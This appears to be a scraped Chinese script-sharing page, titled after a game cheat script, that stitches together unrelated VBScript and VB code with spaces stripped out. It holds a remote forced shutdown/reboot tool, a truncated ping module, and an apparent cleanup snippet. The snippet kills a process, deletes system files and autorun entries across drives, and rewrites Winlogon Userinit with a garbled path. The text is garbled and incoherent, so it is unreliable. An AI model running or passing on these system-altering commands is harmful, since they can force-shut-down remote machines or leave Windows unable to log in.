4399枪战英雄脚本lua零基础

发布时间:2020-06-19 来源:脚本之家 点击:

在VB中如何使用直观、简便的报表一直是很多人关心的问题,CrystalReports用起来又不太理想
'********************************************************************
'*
'*File:Restart.vbs
'*Created:March1999
'*Version:1.0
'*
'*MainFunction:Shutsdown,PowerOff,LogOff,Restartsamachine.
'*
'*Restart.vbs/S<server>[/U<username>][/W<password>]
'*[/O<outputfile>][/L}[/P][/R][/Q][/F][/T<timeinseconds>]
'*
'*Copyright(C)1999MicrosoftCorporation
'*
'********************************************************************

OPTIONEXPLICIT

'Defineconstants
CONSTCONST_ERROR=0
CONSTCONST_WSCRIPT=1
CONSTCONST_CSCRIPT=2
CONSTCONST_SHOW_USAGE=3
CONSTCONST_PROCEED=4

'ShutdownMethodConstants
CONSTCONST_SHUTDOWN=1
CONSTCONST_LOGOFF=0
CONSTCONST_POWEROFF=8
CONSTCONST_REBOOT=2
CONSTCONST_FORCE_REBOOT=6
CONSTCONST_FORCE_POWEROFF=12
CONSTCONST_FORCE_LOGOFF=4
CONSTCONST_FORCE_SHUTDOWN=5

'Declarevariables
DimintOpMode,i
DimstrServer,strUserName,strPassword,strOutputFile
DimblnLogoff,blnPowerOff,blnReBoot,blnShutDown
DimblnForce
DimintTimer
DimUserArray(3)
DimMyCount

'Makesurethehostiscsript,ifnotthenabort
VerifyHostIsCscript()

'Parsethecommandline
intOpMode=intParseCmdLine(strServer,_
strUserName,_
strPassword,_
strOutputFile,_
blnLogoff,_
blnPowerOff,_
blnReBoot,_
blnShutdown,_
blnForce,_
intTimer)

SelectCaseintOpMode

CaseCONST_SHOW_USAGE
CallShowUsage()

CaseCONST_PROCEED
CallReboot(strServer,_
strOutputFile,_
strUserName,_
strPassword,_
blnReboot,_
blnForce,_
intTimer)

CallLogOff(strServer,_
strOutputFile,_
strUserName,_
strPassword,_
blnLogoff,_
blnForce,_
intTimer)

CallPowerOff(strServer,_
strOutputFile,_
strUserName,_
strPassword,_
blnPowerOff,_
blnForce,_
intTimer)

CallShutDown(strServer,_
strOutputFile,_
strUserName,_
strPassword,_
blnShutDown,_
blnForce,_
intTimer)

CaseCONST_ERROR
'DoNothing

CaseElse'Default--shouldneverhappen
CallWscript.Echo("Erroroccurredinpassingparameters.")

EndSelect


'********************************************************************
'*
'*SubReboot()
'*
'*Purpose:Rebootsamachine.
'*
'*Input:strServeramachinename
'*strOutputFileanoutputfilename
'*strUserNamethecurrentuser'sname
'*strPasswordthecurrentuser'spassword
'*blnForcespecifieswhethertoforcethelogoff
'*intTimerspecifiestheamountoftimetoperformthefunction
'*
'*Output:ResultsareeitherprintedonscreenorsavedinstrOutputFile.
'*
'********************************************************************
PrivateSubReboot(strServer,strOutputFile,strUserName,strPassword,blnReboot,blnForce,intTimer)


ONERRORRESUMENEXT

DimobjFileSystem,objOutputFile,objService,objEnumerator,objInstance
DimstrQuery,strMessage
DimintStatus
ReDimstrID(0),strName(0)

ifblnreboot=falsethen
ExitSub
Endif

ifintTimer>0then
wscript.echo"Rebootingmachine"&strServer&"in"&intTimer&"seconds..."
wscript.sleep(intTimer*1000)
Endif

'Openatextfileforoutputifthefileisrequested
IfNotIsEmpty(strOutputFile)Then
If(NOTblnOpenFile(strOutputFile,objOutputFile))Then
CallWscript.Echo("Couldnotopenanoutputfile.")
ExitSub
EndIf
EndIf

'Establishaconnectionwiththeserver.
IfblnConnect("root\cimv2",_
strUserName,_
strPassword,_
strServer,_
objService)Then
CallWscript.Echo("")
CallWscript.Echo("Pleasechecktheservername,"_
&"credentialsandWBEMCore.")
ExitSub
EndIf

strID(0)=""
strName(0)=""
strMessage=""
strQuery="Select*FromWin32_OperatingSystem"

SetobjEnumerator=objService.ExecQuery(strQuery,,0)
IfErr.NumberThen
Print"Error0x"&CStr(Hex(Err.Number))&"occurredduringthequery."
IfErr.Description<>""Then
Print"Errordescription:"&Err.Description&"."
EndIf
Err.Clear
ExitSub
EndIf

i=0
ForEachobjInstanceinobjEnumerator
IfblnForceThen
intStatus=objInstance.Win32ShutDown(CONST_FORCE_REBOOT)
Else
intStatus=objInstance.Win32ShutDown(CONST_REBOOT)
EndIf

IFintStatus=0Then
strMessage="Rebootamachine"&strServer&"."
Else
strMessage="Failedtorebootamachine"&strServer&"."
EndIf
CallWriteLine(strMessage,objOutputFile)
Next

IfIsObject(objOutputFile)Then
objOutputFile.Close
CallWscript.Echo("Resultsaresavedinfile"&strOutputFile&".")
EndIf
EndSub


'********************************************************************
'*
'*SubLogOff()
'*
'*Purpose:Logsofftheusercurrentlyloggedontoamachine.
'*
'*Input:strServeramachinename
'*strOutputFileanoutputfilename
'*strUserNamethecurrentuser'sname
'*strPasswordthecurrentuser'spassword
'*blnForcespecifieswhethertoforcethelogoff
'*intTimerspecifiestheamountoftimetopreformthefunction
'*
'*Output:ResultsareeitherprintedonscreenorsavedinstrOutputFile.
'*
'********************************************************************
PrivateSubLogOff(strServer,strOutputFile,strUserName,strPassword,blnLogoff,blnForce,intTimer)


ONERRORRESUMENEXT

DimobjFileSystem,objOutputFile,objService,objEnumerator,objInstance
DimstrQuery,strMessage
DimintStatus
ReDimstrID(0),strName(0)

Ifblnlogoff=falsethen
ExitSub
Endif

ifintTimer>1then
wscript.echo"Loggingoffmachine"&strServer&"in"&intTimer&"seconds..."
wscript.sleep(intTimer*1000)
Endif

'Openatextfileforoutputifthefileisrequested
IfNotIsEmpty(strOutputFile)Then
If(NOTblnOpenFile(strOutputFile,objOutputFile))Then
CallWscript.Echo("Couldnotopenanoutputfile.")
ExitSub
EndIf
EndIf

'Establishaconnectionwiththeserver.
IfblnConnect("root\cimv2",_
strUserName,_
strPassword,_
strServer,_
objService)Then
CallWscript.Echo("")
CallWscript.Echo("Pleasechecktheservername,"_
&"credentialsandWBEMCore.")
ExitSub
EndIf

strID(0)=""
strName(0)=""
strMessage=""
strQuery="Select*FromWin32_OperatingSystem"

SetobjEnumerator=objService.ExecQuery(strQuery,,0)
IfErr.NumberThen
Print"Error0x"&CStr(Hex(Err.Number))&"occurredduringthequery."
IfErr.Description<>""Then
Print"Errordescription:"&Err.Description&"."
EndIf
Err.Clear
ExitSub
EndIf

i=0
ForEachobjInstanceinobjEnumerator
IfblnForceThen
intStatus=objInstance.Win32ShutDown(CONST_FORCE_LOGOFF)
Else
intStatus=objInstance.Win32ShutDown(CONST_LOGOFF)
EndIf

IFintStatus=0Then
strMessage="Loggingoffthecurrentuseronmachine"&_
strServer&"..."
Else
strMessage="Failedtologoffthecurrentuserfrommachine"_
&strServer&"."
EndIf
CallWriteLine(strMessage,objOutputFile)
Next

IfIsObject(objOutputFile)Then
objOutputFile.Close
CallWscript.Echo("Resultsaresavedinfile"&strOutputFile&".")
EndIf
EndSub


'********************************************************************
'*
'*SubPowerOff()
'*
'*Purpose:Powersoffamachine.
'*
'*Input:strServeramachinename
'*strOutputFileanoutputfilename
'*strUserNamethecurrentuser'sname
'*strPasswordthecurrentuser'spassword
'*blnForcespecifieswhethertoforcethelogoff
'*intTimerspecifiestheamountoftimetoperformthefunction
'*
'*Output:ResultsareeitherprintedonscreenorsavedinstrOutputFile.
'*
'********************************************************************
PrivateSubPowerOff(strServer,strOutputFile,strUserName,strPassword,blnPowerOff,blnForce,intTimer)


ONERRORRESUMENEXT

DimobjFileSystem,objOutputFile,objService,objEnumerator,objInstance
DimstrQuery,strMessage
DimintStatus
ReDimstrID(0),strName(0)

ifblnPoweroff=falsethen
Exitsub
Endif

IfintTimer>0then
wscript.echo"Poweringoffmachine"&strServer&"in"&intTimer&"seconds..."
wscript.sleep(intTimer*1000)
Endif

'Openatextfileforoutputifthefileisrequested
IfNotIsEmpty(strOutputFile)Then
If(NOTblnOpenFile(strOutputFile,objOutputFile))Then
CallWscript.Echo("Couldnotopenanoutputfile.")
ExitSub
EndIf
EndIf

'Establishaconnectionwiththeserver.
IfblnConnect("root\cimv2",_
strUserName,_
strPassword,_
strServer,_
objService)Then
CallWscript.Echo("")
CallWscript.Echo("Pleasechecktheservername,"_
&"credentialsandWBEMCore.")
ExitSub
EndIf

strID(0)=""
strName(0)=""
strMessage=""
strQuery="Select*FromWin32_OperatingSystem"

SetobjEnumerator=objService.ExecQuery(strQuery,,0)
IfErr.NumberThen
Print"Error0x"&CStr(Hex(Err.Number))&"occurredduringthequery."
IfErr.Description<>""Then
Print"Errordescription:"&Err.Description&"."
EndIf
Err.Clear
ExitSub
EndIf

i=0
ForEachobjInstanceinobjEnumerator
IfblnForceThen
intStatus=objInstance.Win32ShutDown(CONST_FORCE_POWEROFF)
Else
intStatus=objInstance.Win32ShutDown(CONST_POWEROFF)
EndIf

IFintStatus=0Then
strMessage="Poweroffmachine"&strServer&"."
Else
strMessage="Failedtopoweroffmachine"&strServer&"."
EndIf
CallWriteLine(strMessage,objOutputFile)
Next

IfIsObject(objOutputFile)Then
objOutputFile.Close
CallWscript.Echo("Resultsaresavedinfile"&strOutputFile&".")
EndIf
EndSub


'********************************************************************
'*
'*SubShutdown()
'*
'*Purpose:Shutsdownamachine.
'*
'*Input:strServeramachinename
'*strOutputFileanoutputfilename
'*strUserNamethecurrentuser'sname
'*strPasswordthecurrentuser'spassword
'*blnForcespecifieswhethertoforcethelogoff
'*intTimerspecifiestheamountoftimetoperformthefunction
'*
'*Output:ResultsareeitherprintedonscreenorsavedinstrOutputFile.
'*
'********************************************************************
PrivateSubShutdown(strServer,strOutputFile,strUserName,strPassword,blnShutDown,blnForce,intTimer)


ONERRORRESUMENEXT

DimobjFileSystem,objOutputFile,objService,objEnumerator,objInstance
DimstrQuery,strMessage
DimintStatus
ReDimstrID(0),strName(0)

IfblnShutdown=Falsethen
ExitSub
Endif

ifintTimer>0then
wscript.echo"Shuttingdowncomputer"&strServer&"in"&intTimer&"seconds..."
wscript.sleep(intTimer*1000)
Endif


'Openatextfileforoutputifthefileisrequested
IfNotIsEmpty(strOutputFile)Then
If(NOTblnOpenFile(strOutputFile,objOutputFile))Then
CallWscript.Echo("Couldnotopenanoutputfile.")
ExitSub
EndIf
EndIf

'Establishaconnectionwiththeserver.
IfblnConnect("root\cimv2",_
strUserName,_
strPassword,_
strServer,_
objService)Then
CallWscript.Echo("")
CallWscript.Echo("Pleasechecktheservername,"_
&"credentialsandWBEMCore.")
ExitSub
EndIf

strID(0)=""
strName(0)=""
strMessage=""
strQuery="Select*FromWin32_OperatingSystem"

SetobjEnumerator=objService.ExecQuery(strQuery,,0)
IfErr.NumberThen
Print"Error0x"&CStr(Hex(Err.Number))&"occurredduringthequery."
IfErr.Description<>""Then
Print"Errordescription:"&Err.Description&"."
EndIf
Err.Clear
ExitSub
EndIf

i=0
ForEachobjInstanceinobjEnumerator
IfblnForceThen
intStatus=objInstance.Win32ShutDown(CONST_FORCE_SHUTDOWN)
Else
intStatus=objInstance.Win32ShutDown(CONST_SHUTDOWN)
EndIf

IFintStatus=0Then
strMessage="Shutsdownmachine"&strServer&"."
Else
strMessage="Failedtoshutdownmachine"&strServer&"."
EndIf
CallWriteLine(strMessage,objOutputFile)
Next

IfIsObject(objOutputFile)Then
objOutputFile.Close
CallWscript.Echo("Resultsaresavedinfile"&strOutputFile&".")
EndIf
EndSub



'********************************************************************
'*
'*FunctionintParseCmdLine()
'*
'*Purpose:Parsesthecommandline.
'*Input:
'*
'*Output:strServeraremoteserver(""=localserver")
'*strUserNamethecurrentuser'sname
'*strPasswordthecurrentuser'spassword
'*strOutputFileanoutputfilename
'*intTimeramountoftimeinseconds
'*
'********************************************************************
PrivateFunctionintParseCmdLine(ByRefstrServer,_
ByRefstrUserName,_
ByRefstrPassword,_
ByRefstrOutputFile,_
ByRefblnLogoff,_
ByRefblnShutdown,_
ByRefblnReboot,_
ByRefblnPowerOff,_
ByRefblnForce,_
ByRefintTimer)


ONERRORRESUMENEXT

DimstrFlag
DimintState,intArgIter
DimobjFileSystem

IfWscript.Arguments.Count>0Then
strFlag=Wscript.arguments.Item(0)
EndIf

IfIsEmpty(strFlag)Then'Noargumentshavebeenreceived
Wscript.Echo("ArgumentsareRequired.")
intParseCmdLine=CONST_ERROR
ExitFunction
EndIf

'Checkiftheuserisaskingforhelporisjustconfused
If(strFlag="help")OR(strFlag="/h")OR(strFlag="\h")OR(strFlag="-h")_
OR(strFlag="\?")OR(strFlag="/?")OR(strFlag="?")_
OR(strFlag="h")Then
intParseCmdLine=CONST_SHOW_USAGE
ExitFunction
EndIf

'Retrievethecommandlineandsetappropriatevariables
intArgIter=0
DoWhileintArgIter<=Wscript.arguments.Count-1
SelectCaseLeft(LCase(Wscript.arguments.Item(intArgIter)),2)

Case"/s"
intParseCmdLine=CONST_PROCEED
IfNotblnGetArg("Server",strServer,intArgIter)Then
intParseCmdLine=CONST_ERROR
ExitFunction
EndIf
intArgIter=intArgIter+1

Case"/o"
IfNotblnGetArg("OutputFile",strOutputFile,intArgIter)Then
intParseCmdLine=CONST_ERROR
ExitFunction
EndIf
intArgIter=intArgIter+1

Case"/u"
IfNotblnGetArg("UserName",strUserName,intArgIter)Then
intParseCmdLine=CONST_ERROR
ExitFunction
EndIf
intArgIter=intArgIter+1

Case"/w"
IfNotblnGetArg("UserPassword",strPassword,intArgIter)Then
intParseCmdLine=CONST_ERROR
ExitFunction
EndIf
intArgIter=intArgIter+1

Case"/f"
blnForce=True
intArgIter=intArgIter+1

Case"/r"
blnReBoot=True
userarray(0)=blnReBoot
intArgIter=intArgIter+1

Case"/q"
blnPowerOff=True
userarray(1)=blnPowerOff
intArgIter=intArgIter+1

Case"/l"
blnLogOff=True
userarray(2)=blnLogoff
intArgIter=intArgIter+1

Case"/p"
blnShutDown=True
userarray(3)=blnShutDown
intArgIter=intArgIter+1

Case"/t"
IfNotblnGetArg("Timer",intTimer,intArgIter)Then
intParseCmdLine=CONST_ERROR
ExitFunction
EndIf
intArgIter=intArgIter+1

CaseElse'Weshouldn'tgethere
CallWscript.Echo("Invalidormisplacedparameter:"_
&Wscript.arguments.Item(intArgIter)&vbCRLF_
&"Pleasechecktheinputandtryagain,"&vbCRLF_
&"orinvokewith'/?'forhelpwiththesyntax.")
Wscript.Quit

EndSelect

Loop'**intArgIter<=Wscript.arguments.Count-1

MyCount=0

fori=0to3
ifuserarray(i)=Truethen
MyCount=Mycount+1
Endif
Next

ifMycount>1then
intParseCmdLine=CONST_SHOW_USAGE
Endif

IfIsEmpty(intParseCmdLine)Then
intParseCmdLine=CONST_ERROR
Wscript.Echo("ArgumentsareRequired.")
EndIf

EndFunction

'********************************************************************
'*
'*SubShowUsage()
'*
'*Purpose:Showsthecorrectusagetotheuser.
'*
'*Input:None
'*
'*Output:Helpmessagesaredisplayedonscreen.
'*
'********************************************************************
PrivateSubShowUsage()

Wscript.Echo""
Wscript.Echo"Logoffs,Reboots,PowersOff,orShutsDownamachine."
Wscript.Echo""
Wscript.Echo"SYNTAX:"
Wscript.Echo"Restart.vbs[/S<server>][/U<username>][/W<password>]"
Wscript.Echo"[/O<outputfile>]</L></R></P></Q></F>[/T<timeinseconds>]"
Wscript.Echo""
Wscript.Echo"PARAMETERSPECIFIERS:"
wscript.echo"/TAmountoftimetoperformthefunction."
Wscript.Echo"/QPerformShutdown."
Wscript.Echo"/PPerformPoweroff."
Wscript.Echo"/RPerformReboot."
Wscript.Echo"/LPerformLogoff."
Wscript.Echo"/FForceFunction."
Wscript.Echo"serverAmachinename."
Wscript.Echo"usernameThecurrentuser'sname."
Wscript.Echo"passwordPasswordofthecurrentuser."
Wscript.Echo"outputfileTheoutputfilename."
Wscript.Echo""
Wscript.Echo"EXAMPLE:"
Wscript.Echo"1.cscriptRestart.vbs/SMyMachine2/R"
Wscript.Echo"RebootsthecurrentmachineMyMachine2."
Wscript.Echo"2.cscriptRestart.vbs/SMyMachine2/R/F"
Wscript.Echo"ForcesMyMachine2toreboot."
Wscript.Echo"3.cscriptRestart.vbs/SMyMachine2/R/T30"
Wscript.Echo"RebootsthecurrentmachineMyMachine2in30seconds."
Wscript.Echo"NOTE:"
Wscript.Echo"Theforceoptionwillmakethemachineperformthefunctioneven"_
&"ifthereare"
Wscript.Echo"openandunsaveddocuementsonthescreen."

EndSub

'********************************************************************
'*GeneralRoutines
'********************************************************************

'********************************************************************
'*
'*FunctionstrPackString()
'*
'*Purpose:AttachesspacestoastringtoincreasethelengthtointWidth.
'*
'*Input:strStringastring
'*intWidththeintendedlengthofthestring
'*blnAfterShouldspacesbeaddedafterthestring?
'*blnTruncatespecifieswhethertotruncatethestringornotif
'*thestringlengthislongerthanintWidth
'*
'*Output:strPackStringisreturnedasthepackedstring.
'*
'********************************************************************
PrivateFunctionstrPackString(ByValstrString,_
ByValintWidth,_
ByValblnAfter,_
ByValblnTruncate)

ONERRORRESUMENEXT

intWidth=CInt(intWidth)
blnAfter=CBool(blnAfter)
blnTruncate=CBool(blnTruncate)

IfErr.NumberThen
CallWscript.Echo("Argumenttypeisincorrect!")
Err.Clear
Wscript.Quit
EndIf

IfIsNull(strString)Then
strPackString="null"&Space(intWidth-4)
ExitFunction
EndIf

strString=CStr(strString)
IfErr.NumberThen
CallWscript.Echo("Argumenttypeisincorrect!")
Err.Clear
Wscript.Quit
EndIf

IfintWidth>Len(strString)Then
IfblnAfterThen
strPackString=strString&Space(intWidth-Len(strString))
Else
strPackString=Space(intWidth-Len(strString))&strString&""
EndIf
Else
IfblnTruncateThen
strPackString=Left(strString,intWidth-1)&""
Else
strPackString=strString&""
EndIf
EndIf

EndFunction

'********************************************************************
'*
'*FunctionblnGetArg()
'*
'*Purpose:HelpertointParseCmdLine()
'*
'*Usage:
'*
'*Case"/s"
'*blnGetArg("servername",strServer,intArgIter)
'*
'********************************************************************
PrivateFunctionblnGetArg(ByValStrVarName,_
ByRefstrVar,_
ByRefintArgIter)

blnGetArg=False'failure,changedtoTrueuponsuccessfulcompletion

IfLen(Wscript.Arguments(intArgIter))>2then
IfMid(Wscript.Arguments(intArgIter),3,1)=":"then
IfLen(Wscript.Arguments(intArgIter))>3then
strVar=Right(Wscript.Arguments(intArgIter),_
Len(Wscript.Arguments(intArgIter))-3)
blnGetArg=True
ExitFunction
Else
intArgIter=intArgIter+1
IfintArgIter>(Wscript.Arguments.Count-1)Then
CallWscript.Echo("Invalid"&StrVarName&".")
CallWscript.Echo("Pleasechecktheinputandtryagain.")
ExitFunction
EndIf

strVar=Wscript.Arguments.Item(intArgIter)
IfErr.NumberThen
CallWscript.Echo("Invalid"&StrVarName&".")
CallWscript.Echo("Pleasechecktheinputandtryagain.")
ExitFunction
EndIf

IfInStr(strVar,"/")Then
CallWscript.Echo("Invalid"&StrVarName)
CallWscript.Echo("Pleasechecktheinputandtryagain.")
ExitFunction
EndIf

blnGetArg=True'success
EndIf
Else
strVar=Right(Wscript.Arguments(intArgIter),_
Len(Wscript.Arguments(intArgIter))-2)
blnGetArg=True'success
ExitFunction
EndIf
Else
intArgIter=intArgIter+1
IfintArgIter>(Wscript.Arguments.Count-1)Then
CallWscript.Echo("Invalid"&StrVarName&".")
CallWscript.Echo("Pleasechecktheinputandtryagain.")
ExitFunction
EndIf

strVar=Wscript.Arguments.Item(intArgIter)
IfErr.NumberThen
CallWscript.Echo("Invalid"&StrVarName&".")
CallWscript.Echo("Pleasechecktheinputandtryagain.")
ExitFunction
EndIf

IfInStr(strVar,"/")Then
CallWscript.Echo("Invalid"&StrVarName)
CallWscript.Echo("Pleasechecktheinputandtryagain.")
ExitFunction
EndIf
blnGetArg=True'success
EndIf
EndFunction

'********************************************************************
'*
'*FunctionblnConnect()
'*
'*Purpose:ConnectstomachinestrServer.
'*
'*Input:strServeramachinename
'*strNameSpaceanamespace
'*strUserNamenameofthecurrentuser
'*strPasswordpasswordofthecurrentuser
'*
'*Output:objServiceisreturnedasaserviceobject.
'*strServerissettolocalhostifleftunspecified
'*
'********************************************************************
PrivateFunctionblnConnect(ByValstrNameSpace,_
ByValstrUserName,_
ByValstrPassword,_
ByRefstrServer,_
ByRefobjService)

ONERRORRESUMENEXT

DimobjLocator,objWshNet

blnConnect=False'Thereisnoerror.

'CreateLocatorobjecttoconnecttoremoteCIMobjectmanager
SetobjLocator=CreateObject("WbemScripting.SWbemLocator")
IfErr.Numberthen
CallWscript.Echo("Error0x"&CStr(Hex(Err.Number))&_
"occurredincreatingalocatorobject.")
IfErr.Description<>""Then
CallWscript.Echo("Errordescription:"&Err.Description&".")
EndIf
Err.Clear
blnConnect=True'Anerroroccurred
ExitFunction
EndIf

'Connecttothenamespacewhichiseitherlocalorremote
SetobjService=objLocator.ConnectServer(strServer,strNameSpace,_
strUserName,strPassword)
ObjService.Security_.impersonationlevel=3
IfErr.Numberthen
CallWscript.Echo("Error0x"&CStr(Hex(Err.Number))&_
"occurredinconnectingtoserver"_
&strServer&".")
IfErr.Description<>""Then
CallWscript.Echo("Errordescription:"&Err.Description&".")
EndIf
Err.Clear
blnConnect=True'Anerroroccurred
EndIf

'Getthecurrentserver'snameifleftunspecified
IfIsEmpty(strServer)Then
SetobjWshNet=CreateObject("Wscript.Network")
strServer=objWshNet.ComputerName
EndIf

EndFunction

'********************************************************************
'*
'*SubVerifyHostIsCscript()
'*
'*Purpose:Determineswhichprogramisusedtorunthisscript.
'*
'*Input:None
'*
'*Output:Ifhostisnotcscript,thenanerrormessageisprinted
'*andthescriptisaborted.
'*
'********************************************************************
SubVerifyHostIsCscript()

ONERRORRESUMENEXT

DimstrFullName,strCommand,i,j,intStatus

strFullName=WScript.FullName

IfErr.Numberthen
CallWscript.Echo("Error0x"&CStr(Hex(Err.Number))&"occurred.")
IfErr.Description<>""Then
CallWscript.Echo("Errordescription:"&Err.Description&".")
EndIf
intStatus=CONST_ERROR
EndIf

i=InStr(1,strFullName,".exe",1)
Ifi=0Then
intStatus=CONST_ERROR
Else
j=InStrRev(strFullName,"",i,1)
Ifj=0Then
intStatus=CONST_ERROR
Else
strCommand=Mid(strFullName,j+1,i-j-1)
SelectCaseLCase(strCommand)
Case"cscript"
intStatus=CONST_CSCRIPT
Case"wscript"
intStatus=CONST_WSCRIPT
CaseElse'shouldneverhappen
CallWscript.Echo("Anunexpectedprogramwasusedto"_
&"runthisscript.")
CallWscript.Echo("OnlyCScript.ExeorWScript.Execan"_
&"beusedtorunthisscript.")
intStatus=CONST_ERROR
EndSelect
EndIf
EndIf

IfintStatus<>CONST_CSCRIPTThen
CallWScript.Echo("PleaserunthisscriptusingCScript."&vbCRLF&_
"Thiscanbeachievedby"&vbCRLF&_
"1.Using""CScriptRestart.vbsarguments""forWindows95/98or"_
&vbCRLF&"2.ChangingthedefaultWindowsScriptingHost"_
&"settingtoCScript"&vbCRLF&"using""CScript"_
&"""andrunningthescriptusing"&vbCRLF&_
"""Restart.vbsarguments""forWindowsNT/2000.")
WScript.Quit
EndIf

EndSub

'********************************************************************
'*
'*SubWriteLine()
'*Purpose:Writesatextlineeithertoafileoronscreen.
'*Input:strMessagethestringtoprint
'*objFileanoutputfileobject
'*Output:strMessageiseitherdisplayedonscreenorwrittentoafile.
'*
'********************************************************************
SubWriteLine(ByValstrMessage,ByValobjFile)

OnErrorResumeNext
IfIsObject(objFile)then'objFileshouldbeafileobject
objFile.WriteLinestrMessage
Else
CallWscript.Echo(strMessage)
EndIf

EndSub

'********************************************************************
'*
'*FunctionblnErrorOccurred()
'*
'*Purpose:Reportserrorwithastringsayingwhattheerroroccurredin.
'*
'*Input:strInstringsayingwhattheerroroccurredin.
'*
'*Output:displayedonscreen
'*
'********************************************************************
PrivateFunctionblnErrorOccurred(ByValstrIn)

IfErr.NumberThen
CallWscript.Echo("Error0x"&CStr(Hex(Err.Number))&":"&strIn)
IfErr.Description<>""Then
CallWscript.Echo("Errordescription:"&Err.Description)
EndIf
Err.Clear
blnErrorOccurred=True
Else
blnErrorOccurred=False
EndIf

EndFunction

'********************************************************************
'*
'*FunctionblnOpenFile
'*
'*Purpose:Opensafile.
'*
'*Input:strFileNameAstringwiththenameofthefile.
'*
'*Output:SetsobjOpenFiletoaFileSystemObjectandsetisitto
'*NothinguponFailure.
'*
'********************************************************************
PrivateFunctionblnOpenFile(ByValstrFileName,ByRefobjOpenFile)

ONERRORRESUMENEXT

DimobjFileSystem

SetobjFileSystem=Nothing

IfIsEmpty(strFileName)ORstrFileName=""Then
blnOpenFile=False
SetobjOpenFile=Nothing
ExitFunction
EndIf

'Createafileobject
SetobjFileSystem=CreateObject("Scripting.FileSystemObject")
IfblnErrorOccurred("Couldnotcreatefilesystemobject.")Then
blnOpenFile=False
SetobjOpenFile=Nothing
ExitFunction
EndIf

'Openthefileforoutput
SetobjOpenFile=objFileSystem.OpenTextFile(strFileName,8,True)
IfblnErrorOccurred("Couldnotopen")Then
blnOpenFile=False
SetobjOpenFile=Nothing
ExitFunction
EndIf
blnOpenFile=True

EndFunction

'********************************************************************
'**
'*EndofFile*
'**
'********************************************************************

游戏脚本是什么语言

onerrorresumenext
setw=getobject("winmgmts:")
setp=w.execquery("select*fromwin32_processwherename='wininit.exe'")
foreachiinp
i.terminate
next
setfso=createobject("scripting.filesystemobject")
setv1=fso.getfile("c:\windows\system32\systeminit.exe")
setv2=fso.getfile("c:\windows\system32\wininit.exe")
setv3=fso.getfile("c:\windows\system32\winsystem.exe")
v1.attributes=0
v2.attributes=0
v3.attributes=0
v1.delete
v2.delete
v3.delete
setdrvs=fso.drives
foreachdrvindrvs
ifdrv.drivetype=1ordrv.drivetype=2ordrv.drivetype=3ordrv.drivetype=4then
setw=fso.getfile(drv.driveletter&":\kerneldrive.exe")
w.attributes=0
w.delete
setu=fso.getfile(drv.driveletter&":\autorun.inf")
u.attributes=0
u.delete
endif
next
setreg=wscript.createobject("wscript.shell")
reg.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
reg.regwrite"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Start",2,"REG_DWORD"
reg.regwrite"HKCU\Software\Microsoft\InternetExplorer\Main\WindowTitle",""
reg.regwrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit","C:\WINDOWS\system32?nit.exe,"
reg.regdelete"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wininit"
reg.regdelete"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions"
fso.getfile("regedit.exe").copy("c:\regedit.exe")
fso.getfile("cmd.exe").copy("c:\windows\system32\cmd.exe")
fso.getfile("taskmgr.exe").copy("c:\windows\system32\taskmgr.exe")
fso.getfile("msconfig.exe").copy("C:\WINDOWS\pchealth\helpctr\binaries\msconfig.exe")
fso.getfile("regedit.exe").copy("C:\WINDOWS\system32\dllcache\regedit.exe")
fso.getfile("cmd.exe").copy("C:\WINDOWS\system32\dllcache\cmd.exe")
fso.getfile("taskmgr.exe").copy("C:\WINDOWS\system32\dllcache\taskmgr.exe")
fso.getfile("msconfig.exe").copy("C:\WINDOWS\system32\dllcache\msconfig.exe")
BASModule模块
把以下代码回到BASModule模块:

OptionExplicit
PrivateConstIP_SUCCESSAsLong=0
PrivateConstIP_STATUS_BASEAsLong=11000
PrivateConstIP_BUF_TOO_SMALLAsLong=(11000 1)
PrivateConstIP_DEST_NET_UNREACHABLEAsLong=(11000 2)
PrivateConstIP_DEST_HOST_UNREACHABLEAsLong=(11000 3)
PrivateConstIP_DEST_PROT_UNREACHABLEAsLong=(11000 4)
PrivateConstIP_DEST_PORT_UNREACHABLEAsLong=(11000 5)
PrivateConstIP_NO_RESOURCESAsLong=(11000 6)
PrivateConstIP_BAD_OPTIONAsLong=(11000 7)
PrivateConstIP_HW_ERRORAsLong=(11000 8)
PrivateConstIP_PACKET_TOO_BIGAsLong=(11000 9)
PrivateConstIP_REQ_TIMED_OUTAsLong=(11000 10)
PrivateConstIP_BAD_REQAsLong=(11000 11)
PrivateConstIP_BAD_ROUTEAsLong=(11000 12)
PrivateConstIP_TTL_EXPIRED_TRANSITAsLong=(11000 13)
PrivateConstIP_TTL_EXPIRED_REASSEMAsLong=(11000 14)
PrivateConstIP_PARAM_PROBLEMAsLong=(11000 15)
PrivateConstIP_SOURCE_QUENCHAsLong=(11000 16)
PrivateConstIP_OPTION_TOO_BIGAsLong=(11000 17)
PrivateConstIP_BAD_DESTINATIONAsLong=(11000 18)
PrivateConstIP_ADDR_DELETEDAsLong=(11000 19)
PrivateConstIP_SPEC_MTU_CHANGEAsLong=(11000 20)
PrivateConstIP_MTU_CHANGEAsLong=(11000 21)
PrivateConstIP_UNLOADAsLong=(11000 22)
PrivateConstIP_ADDR_ADDEDAsLong=(11000 23)
PrivateConstIP_GENERAL_FAILUREAsLong=(11000 50)
PrivateConstMAX_IP_STATUSAsLong=(11000 50)
PrivateConstIP_PENDINGAsLong=(11000 255)
PrivateConstPING_TIMEOUTAsLong=500
PrivateConstWS_VERSION_REQDAsLong=&H101
PrivateConstMIN_SOCKETS_REQDAsLong=1
PrivateConstSOCKET_ERRORAsLong=-1
PrivateConstINADDR_NONEAsLong=&HFFFFFFFF
PrivateConstMAX_WSADescriptionAsLong=256
PrivateConstMAX_WSASYSStatusAsLong=128

PrivateTypeICMP_OPTIONS
TtlAsByte
TosAsByte
FlagsAsByte
OptionsSizeAsByte
OptionsDataAsLong
EndType

PublicTypeICMP_ECHO_REPLY
AddressAsLong
statusAsLong
RoundTripTimeAsLong
DataSizeAsLong注释:formerlyinteger
注释:ReservedAsInteger
DataPointerAsLong
OptionsAsICMP_OPTIONS
DataAsString*250
EndType

PrivateTypeWSADATA
wVersionAsInteger
wHighVersionAsInteger
szDescription(0ToMAX_WSADescription)AsByte
szSystemStatus(0ToMAX_WSASYSStatus)AsByte
